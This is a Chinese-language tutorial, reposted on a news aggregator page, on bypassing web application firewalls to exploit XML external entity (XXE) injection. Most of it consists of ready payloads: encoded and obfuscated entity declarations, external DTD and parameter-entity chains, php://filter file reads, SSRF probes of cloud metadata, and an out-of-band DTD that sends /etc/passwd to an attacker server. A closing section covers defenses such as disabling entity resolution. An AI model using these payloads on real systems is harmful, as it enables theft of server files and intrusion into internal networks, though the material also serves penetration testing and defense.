当前位置: 首页 > news >正文

实战绕过WAF的XXE攻击:编码、协议与XML特性利用技巧

1. 项目概述:理解XXE与WAF的攻防本质

在Web安全测试的日常工作中,XML外部实体注入(XXE)漏洞的利用与防御,始终是一个充满技术对抗的焦点。当攻击者试图利用XXE读取服务器敏感文件、发起内部网络请求甚至执行远程代码时,部署在应用前端的Web应用防火墙(WAF)便成为了一道关键的防线。然而,道高一尺魔高一丈,WAF的规则并非无懈可击。这个项目探讨的核心,正是那些在实战中可能奏效的、针对WAF的XXE绕过技巧。这并非鼓励攻击,而是从防御者视角出发,深入理解攻击者的思维和手段,从而构建更坚固的防御体系。对于安全研究人员、渗透测试工程师和致力于应用安全的开发者而言,掌握这些绕过手法的原理,意味着你能更准确地评估自身系统的风险,编写出更有效的防护规则,真正做到知己知彼。

XXE漏洞的根源在于XML解析器配置不当,允许加载外部实体。一个典型的恶意Payload可能包含类似<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>的声明。主流的WAF(如Cloudflare、ModSecurity等)会维护一个庞大的特征库,对传入的请求体进行正则匹配或语法分析,一旦检测到SYSTEMPUBLICENTITYfile://http://等敏感关键词或特定结构,便会拦截请求。我们的“绕过”工作,本质上就是研究如何通过变形、混淆、利用协议或解析差异,让恶意的XXE Payload“穿”过这些检测规则,同时还能被后端有漏洞的XML解析器正确解析并执行。这就像一场精心设计的伪装游戏,你需要同时欺骗门口的保安(WAF)和说服屋内的管家(有漏洞的解析器)。

2. 核心绕过思路与技术原理拆解

要系统性地思考绕过,我们必须从WAF的检测原理入手。WAF通常基于正则表达式(Regex)或基于语义的解析树进行分析。其检测逻辑可能存在几个盲点:1) 对数据编码的解码顺序与后端不一致;2) 对XML规范中某些晦涩特性的支持不完整;3) 对请求包不同部分(如头部、参数)的关联性检查不足;4) 对某些特定协议或本地文件访问方式的过滤存在遗漏。基于这些盲点,我们可以衍生出以下几类核心绕过思路。

2.1 编码与多重编码混淆

这是最基础也是最常用的绕过手段之一。其核心原理是利用WAF解码层与后端应用解码层在处理顺序或支持格式上的差异。

原理详解:假设WAF的检测流程是“接收原始请求 -> 进行一次URL解码 -> 进行XXE关键词匹配”。如果我们传入的Payload是经过双重编码的,例如将SYSTEM中的S编码为%53,再将%编码为%25,最终得到%2553。WAF解码一次后看到的是%53YSTEM,它可能不认为这是一个完整的SYSTEM关键词从而放行。而当这个数据流到达后端应用时,应用框架或XML解析器可能会自动进行两次URL解码,最终还原出SYSTEM,导致漏洞被成功触发。

实操示例与注意事项

  • 常用编码类型
    • URL编码<->%3c>->%3e,空格 ->%20"->%22
    • HTML实体编码<->&lt;&->&amp;。这在XML上下文有时也有效。
    • Unicode编码<->\u003cS->\u0053。需要后端解析器支持Unicode解码。
    • 混合编码:对Payload的不同部分采用不同的编码方式,增加检测复杂度。

注意:编码绕过的成功率高度依赖于WAF与后端的具体实现。在测试时,需要采用“爬坡测试”法,即从单次编码开始尝试,逐步增加编码层数和混合复杂度。同时,要特别注意编码后可能引入的空白字符(如+%20),这有时会导致XML解析错误。

2.2 利用XML规范特性与解析差异

XML标准本身非常复杂,包含了许多可选特性、晦涩的语法和历史上遗留的兼容性处理方式。不同的XML解析器(如libxml2, Xerces, .NET XmlDocument等)对这些特性的支持程度和解析行为可能存在细微差别,而WAF的规则可能无法覆盖所有情况。

2.2.1 文档类型定义(DTD)声明的多种格式DTD声明不只有<!DOCTYPE root [ ... ]>这一种形式。

  • 外部DTD引用<!DOCTYPE root SYSTEM “http://attacker.com/evil.dtd”>。WAF可能只检测内联DTD中的关键词,而忽略对外部URL的引用。一旦外部DTD被加载,其中可以包含完整的恶意实体声明。
  • 公共标识符(PUBLIC)<!DOCTYPE root PUBLIC “-//Some//ID” “http://attacker.com/evil.dtd”>PUBLIC标识符常用于引用公开的DTD,但后面的URL仍然是可控的。有些WAF对PUBLIC标识符的过滤可能弱于SYSTEM
  • 内联参数实体:参数实体是DTD中用于声明的实体,以%开头。它们可以在DTD内部被引用,用于构造更复杂的嵌套或条件实体。例如:
    <!DOCTYPE foo [ <!ENTITY % start “<![CDATA[“> <!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % end “]]>”> <!ENTITY % dtd SYSTEM “http://attacker.com/combine.dtd”> %dtd; ]>
    在这个例子中,关键的SYSTEM指令被拆分到参数实体% file中,而%dtd则引用了外部DTD来组合执行。WAF可能无法递归展开和检测参数实体中的内容。

2.2.2 利用UTF-7编码有些陈旧的或配置不当的XML解析器,如果通过HTTP头Content-Type: text/xml; charset=utf-7指定,可以处理UTF-7编码的XML。UTF-7编码会将ASCII字符(如<,>)转换成以+开头的格式(例如+ADw-代表<)。绝大多数WAF默认不会检测UTF-7编码的内容,因为这不是Web传输的常见编码。如果后端解析器支持,攻击者可以将整个恶意Payload用UTF-7编码后发送。

2.2.3 标签/属性名混淆在XML中,标签和属性名本身可以包含某些特殊字符,或者可以通过添加无关的命名空间、注释来干扰WAF的简单模式匹配。

  • 插入无关属性<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///c:/windows/win.ini” extra=”ignored”>]>。WAF的正则可能严格匹配SYSTEM “...“的模式,而extra属性的插入可能破坏这一匹配。
  • 使用CDATA区块包裹:在某些上下文中,可以将恶意内容包裹在<![CDATA[ ... ]]>中。虽然CDATA通常用于包裹字符数据,但在DTD声明中巧妙构造,有时能起到混淆作用。不过,这需要非常精确的构造,因为CDATA在DTD中的使用是受限的。

2.3 协议与路径混淆

WAF的过滤规则往往针对常见的危险协议(file://http://ftp://)和路径模式(..//etc/passwd)。绕过思路就是使用非常见协议、特定平台的路径格式或编码后的路径。

2.3.1 非常见协议或包装器

  • PHP特定:如果后端是PHP,且启用了特定的包装器,可以尝试:
    • php://filter/convert.base64-encode/resource=/etc/passwd:这个协议链不直接读取文件,而是通过PHP的过滤器将文件内容进行base64编码后输出。php://协议对于WAF来说可能不如file://敏感。
    • expect://phar://:这些是更特殊的协议,需要特定扩展支持,但一旦存在,可导致更严重的RCE。
  • Java特定:在Java环境中,可以尝试jar://netdoc://等协议。
  • .NET特定:可以尝试使用\\UNC\路径格式访问网络共享文件。

2.3.2 路径编码与变形

  • URL编码路径分隔符file:///etc/passwd->file:///etc%2fpasswdfile:///etc%252fpasswd(双重编码)。有些WAF的路径检测可能基于简单的字符串匹配/etc/passwd,编码后即可绕过。
  • 使用绝对路径的变体:在Windows上,除了C:\windows\win.ini,还可以尝试C:/windows/win.ini(正斜杠)、\\?\C:\windows\win.ini(长路径格式)或..\..\windows\win.ini
  • 利用环境变量或特殊位置:例如,尝试读取file:///proc/self/environ(Linux进程环境,可能包含密钥)、file:///proc/versionfile:///sys/class/net/eth0/address等,这些路径可能不在WAF的黑名单中。

2.4 请求拆分与分片传输

这是一种更高级的绕过技术,旨在将单个恶意的XXE Payload拆分成多个看似无害的片段,通过HTTP请求的不同部分(如多个参数、Cookie、HTTP头部)分别发送,并利用后端应用的某种特性(如参数拼接、日志记录、缓存机制)在服务器侧重新组合。

原理与场景:假设一个应用会将某个自定义HTTP头(如X-Forwarded-For)的值记录到日志,并且后续的某个XML处理功能会读取这个日志文件并将其内容作为XML解析。攻击者可以将XXE Payload的一部分放在X-Forwarded-For头中,另一部分放在POST正文里。单独看,每个部分都不构成有效的XXE。但当它们被拼接并解析时,漏洞就触发了。这种手法严重依赖于特定的应用逻辑,通用性较低,但一旦存在,极难被基于单次请求检测的WAF发现。

3. 实战绕过流程与案例解析

理解了原理,我们通过一个模拟的实战场景,将上述技巧串联起来,演示一个完整的、循序渐进的绕过测试流程。假设目标是一个接受XML输入的后端API端点/api/process,其前端部署了未知规则的WAF。

3.1 信息收集与基线测试

首先,我们需要确定目标是否存在XXE漏洞,以及WAF的拦截基线。

  1. 发送一个最基础的、明文的XXE Payload
    POST /api/process HTTP/1.1 Host: target.com Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data>
  2. 观察响应
    • 情况A:返回403 Forbidden406 Not Acceptable或包含Blocked by WAF等字样的页面。这说明WAF生效,且规则匹配了我们的基础Payload。这是好消息,确认了目标有防护,也为我们提供了测试起点。
    • 情况B:返回了/etc/passwd文件的内容。这说明漏洞存在且WAF没防住(或者没开XXE防护)。测试结束(并立即上报漏洞)。
    • 情况C:返回了应用程序错误(如XML解析错误)。这可能是因为路径不存在、权限不足或实体引用方式不对。这需要调整Payload,但暂时无法判断WAF是否存在。

假设我们遇到情况A,WAF拦截了基础Payload。

3.2 实施编码绕过

我们从简单的编码开始尝试。

  1. 尝试URL编码整个DOCTYPE声明或关键词
    <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe %53YSTEM "file:///etc/passwd">]> <data>&xxe;</data>
    SYSTEM替换为%53YSTEM。如果WAF是简单的字符串匹配,可能绕过。
  2. 尝试多重URL编码: 使用工具对SYSTEM "file:///etc/passwd"这部分进行两次URL编码。注意,要对整个字符串编码,而不是单个字符。
  3. 尝试HTML实体编码
    <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data>
    这里<被编码为&lt;>被编码为&gt;。发送后,观察WAF是否拦截。这取决于WAF是否在匹配前进行HTML解码。
  4. 尝试Unicode编码
    <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe \u0053\u0059\u0053\u0054\u0045\u004d "file:///etc/passwd">]> <data>&xxe;</data>
    \u0053S的Unicode转义。这需要后端解析器支持。

3.3 利用XML特性进阶测试

如果编码无效,转向利用XML特性。

  1. 尝试外部DTD引用
    <?xml version="1.0"?> <!DOCTYPE test SYSTEM "http://our-attacker-server.com/evil.dtd"> <data>&xxe;</data>
    evil.dtd文件中,我们放置完整的恶意实体声明:<!ENTITY xxe SYSTEM “file:///etc/passwd”>。很多WAF对单独一个外部SYSTEM声明的检测较弱,尤其是如果URL看起来是“正常”域名时。
  2. 尝试使用PUBLIC标识符
    <?xml version="1.0"?> <!DOCTYPE test PUBLIC "-//Some//ID" "http://our-attacker-server.com/evil.dtd"> <data>&xxe;</data>
  3. 尝试使用参数实体嵌套外部DTD(更隐蔽):
    <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://our-attacker-server.com/part1.dtd"> %remote; ]> <data>&xxe;</data>
    part1.dtd中,可以进一步包含或定义恶意实体。这种分阶段加载的方式,使得单个请求中的恶意内容更少。

3.4 协议与路径混淆测试

假设WAF死死盯住了file:///etc/passwd

  1. 尝试PHP包装器(如果目标是PHP):
    <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
    返回的将是base64编码后的文件内容,需要在客户端解码。
  2. 尝试编码路径
    <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc%2fpasswd">]>
    或者尝试读取其他可能存在的文件,如/proc/self/environ/etc/hostsC:\Windows\System32\drivers\etc\hosts
  3. 尝试使用无协议的文件路径(在某些Java解析器中可能有效):
    <!DOCTYPE test [<!ENTITY xxe SYSTEM "/etc/passwd">]>
    这依赖于解析器将相对或绝对路径解释为本地文件系统路径。

3.5 综合构造与模糊测试

如果以上单一方法都失败,可以尝试组合拳,并进行系统的模糊测试(Fuzzing)。

  1. 组合示例:使用外部DTD引用,并且DTD的URL本身经过编码。
    <!DOCTYPE test SYSTEM "http://our-attacker-server.com/%65%76%69%6c.dtd">
  2. 使用模糊测试工具:如ffufwfuzz或自定义Python脚本,针对SYSTEMPUBLIC、协议类型、路径等位置,替换成预定义的混淆载荷字典进行批量测试。字典应包含各种编码、大小写变换(SystemSYStem)、插入空白/换行/制表符、添加无关属性等变体。

4. 常见WAF绕过场景与排查技巧实录

在实际测试中,你会遇到各种各样的情况。下面记录几种典型场景和我的排查思路。

4.1 场景一:WAF拦截了file://但放行了http://

现象:使用file://读取本地文件被拦截,但使用http://让服务器访问外部URL却成功了。分析与绕过:这说明WAF的规则集可能更侧重于防止本地文件读取(LFI)和数据外泄,而对服务器发起出站请求(SSRF)的检测较弱。这是一个重要的突破口。

  • 利用SSRF探测内网:你可以尝试将SYSTEM后的URL改为内网地址,如http://192.168.1.1:8080http://169.254.169.254/latest/meta-data/(AWS元数据服务),来探测内网资产或获取云服务器实例的敏感信息。
  • 结合其他协议:如果内网存在Redis、Memcached等服务,可以尝试使用gopher://dict://协议与之交互,可能实现更深入的利用。
  • 回传数据:如何将读取到的本地文件内容通过SSRF带出来?这需要一点技巧。可以尝试让服务器将文件内容作为参数请求到你的公网服务器。例如,在你自己控制的evil.dtd中这样写:
    <!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % eval “<!ENTITY &#x25; exfil SYSTEM ‘http://our-attacker-server.com/?data=%file;’>”> %eval; %exfil;
    但这里有个问题,file:///etc/passwd的内容可能包含非法XML字符(如<,&),直接放在URL里会破坏结构。更可靠的方法是先进行Base64编码(如果支持php过滤器),或者利用FTP等协议外传。

4.2 场景二:WAF似乎基于“关键字权重”而非精确匹配

现象:简单的编码(如%53YSTEM)被绕过,但组合了file:///etc/passwd的完整Payload又被拦截。分析与绕过:这可能是一种基于机器学习或加权评分的WAF。它不只看有没有某个关键词,而是看请求中“可疑元素”的总体得分。

  • 减少“可疑度”:将攻击载荷拆分。使用外部DTD,让主请求只包含一个简单的SYSTEM声明指向外部URL,这个URL本身看起来人畜无害(如http://api.example.com/config.xml)。将真正的恶意负载(读取文件、发起请求)完全放在外部服务器上。
  • 增加“正常”噪音:在XML中插入大量合法的、无关的标签、注释或命名空间声明,稀释恶意内容的密度。
  • 改变请求方式:如果API也接受JSON,但后端会将JSON转换成XML处理(某些老旧SOAP服务),可以尝试从JSON入口提交,WAF对JSON的检测规则可能不同。

4.3 场景三:WAF拦截了POST正文,但忽略了其他位置

现象:在POST的XML体中提交Payload被拦截,但发现应用还会处理Content-Type头、URL参数或Cookie中的某些值。分析与排查

  1. 检查所有输入点:仔细审计目标应用,看是否有任何用户可控的数据最终会流入XML解析器。例如:
    • 上传文件:上传一个SVG(本质是XML)图片,其元数据是否被解析?
    • 文件导入功能:导入Excel(OOXML是ZIP包内的XML)、Word文档时。
    • 单点登录(SSO)的SAML响应:SAML是基于XML的,如果应用作为SAML SP,接收的SAML Response是否被严格验证?
    • API参数:某些API可能将参数值嵌入到XML模板中。
  2. 测试其他HTTP部分:尝试将Payload的片段放在X-Forwarded-HostUser-Agent或自定义Cookie中,观察应用日志或错误信息是否有变化。
  3. 时间盲注测试:如果怀疑存在基于错误的XXE被拦截,可以尝试使用带外(OOB)技术或时间盲注来确认。例如,尝试让服务器访问一个你控制的、带有延迟响应的HTTP端点(http://your-server.com/delay?time=5),通过观察响应时间是否延长来判断请求是否被成功发出。

4.4 通用排查技巧与工具

  1. 错误信息是朋友:仔细阅读WAF拦截页面和应用程序返回的错误信息。它们有时会透露规则ID(如ModSecurity的Msg字段)或触发了哪个关键词。这能帮你精准调整Payload。
  2. 使用差分分析:准备两个几乎相同的请求,一个被拦截,一个被放行。逐个字节地比较它们,找出触发WAF的具体边界在哪里。Burp Suite的Comparer工具非常适合做这个。
  3. 利用WAF检测的滞后性:公开的WAF规则(如OWASP Core Rule Set)更新需要时间。关注最新的XXE研究论文、安全会议(如BlackHat, DEFCON)议题和漏洞赏金报告,里面披露的新型绕过技巧可能在短期内未被主流WAF纳入规则。
  4. 工具辅助
    • Burp Suite + Collaborator:这是黄金组合。利用Burp的Intruder进行模糊测试,并配置Collaborator服务器来接收OOB请求,这对于检测盲XXE至关重要。
    • XXE Inject:一个Burp扩展,提供了丰富的XXE Payload字典和自动化测试功能。
    • 手动构建Payload:理解原理后,最高效的方式往往是针对目标情况手动构造和调整Payload。自动化工具容易产生大量流量被屏蔽。

5. 防御视角:如何构建更有效的XXE防护

作为防御者,了解攻击手法是为了更好地防护。仅仅依赖WAF是远远不够的,必须实施纵深防御。

  1. 根本解决:禁用外部实体解析这是最有效的一步。在使用的XML解析库中,显式地禁用外部实体(External Entity)和外部DTD(External DTD)加载。

    • Java (DocumentBuilderFactory):
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true); // 首选:完全禁用DTD // 或者,如果必须使用DTD,则禁用外部实体: dbf.setFeature(“http://xml.org/sax/features/external-general-entities”, false); dbf.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false); dbf.setFeature(“http://apache.org/xml/features/nonvalidating/load-external-dtd”, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
    • Python (lxml):
      from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) # 关键参数
    • .NET (XmlDocument):
      XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; // 将解析器设置为null
    • PHP (libxml):
      libxml_disable_entity_loader(true);
  2. 输入验证与净化

    • 对用户输入的XML进行严格的模式验证(XSD),拒绝不符合预期结构的文档。
    • 在将用户输入嵌入XML模板时,务必对特殊字符(<,>,&,,)进行正确的XML实体转义。
  3. 升级与补丁:始终使用最新版本的XML解析库,旧版本可能存在已知的解析差异或漏洞。

  4. WAF规则精细化

    • 不要只依赖默认规则集。根据业务特点,自定义规则来检测上述绕过手法,例如检测各种编码、检测非常见协议、限制DTD声明的大小和复杂度、对出站HTTP请求(来自服务器本身)进行监控等。
    • 考虑使用基于语义分析的WAF或运行时应用自我保护(RASP)技术,它们能更好地理解上下文,而不仅仅是模式匹配。
  5. 输出编码:即使实体被解析,如果其内容在响应中被正确编码(如HTML编码),那么文件内容也不会在浏览器中渲染执行,降低了危害。

绕过的艺术本质上是攻击者和防御者之间对协议规范、系统实现和检测逻辑理解深度的较量。作为安全从业者,持续学习、深入理解底层原理、并在合规的测试环境中不断演练,是提升攻防两端能力的唯一途径。每一次成功的绕过尝试,都应该转化为一条更坚固的防御规则。

http://www.jsqmd.com/news/1272765/

相关文章:

  • C++_list
  • DeepSeek LeetCode 3739. 统计主要元素子数组数目 II Java实现
  • Unity URP卡通渲染实战:基于Custom Render Feature实现法线外描边与色阶切分
  • 免费视频转文字工具推荐:先排除三类不合适的再入选 - 软件小管家
  • DM6467硬件设计核心:仿真控制、电源时钟与上拉电阻实战解析
  • 江门精选口碑瓷砖空鼓维修公司推荐2026卫生间墙砖起翘修复 - 北京优选
  • 【WebFlux】第二篇 —— Project Reactor 核心数据类型与doOnXXX介绍
  • MySQL SQL执行全链路解析:从Parser到Executor的完整生命周期
  • python数据可视化技巧的100个练习 -- 48. 分类数据的分面网格图
  • 微信小程序健康管理工具开发实战:PHP+MySQL全开源方案
  • 华为MetaERP 以同样的大卡车生产BOM和价格数据,用 Oracle EBS(R12) 的三种成本方法重新走一遍全链路。Oracle EBS 的成本管理逻辑与 SAP 核心思想相通,但模块名称、事
  • JTAG接口原理与ARM Cortex-M4调试实战:从TAP状态机到CoreSight架构
  • Seraphine:基于LCU API的智能游戏数据交互平台
  • 鸿蒙多功能工具箱开发实战(三十二)-多设备适配与响应式布局
  • 企业AI平台用户活跃度提升策略与实践
  • 7.20-7.26学习笔记
  • 智能写作辅助系统:课程论文写作的AI解决方案
  • 情感计算与VR技术在教育中的创新应用
  • SRIO外设复位与电源管理:从全局复位到逻辑块控制的嵌入式实践
  • AO3镜像站完整指南:如何轻松访问全球最大同人创作平台
  • 体验家 XMPlus 跨系统数据同步与一致性保障机制:CEM 与 CRM/ERP/BI 的双向集成架构
  • 大疆感知融合面试,ICP算法手推这关太硬核了
  • MySQL 分页有什么性能问题?怎么优化?
  • Claude Sonnet 4.5:AI全能智能体的性能与应用解析
  • Golang学习-冒泡排序(Bubble Sort)
  • C++竞赛必考:深度解析“必然事件”逻辑题陷阱与通解
  • Linux网络排查利器:ss命令核心用法与实战场景详解
  • (二十六)BLSG方案
  • AMD Instinct MI455X AI加速器:突破大模型训练内存墙与能效瓶颈
  • C# + 卷积神经网络:工业图像分类任务的底层原理与工程落地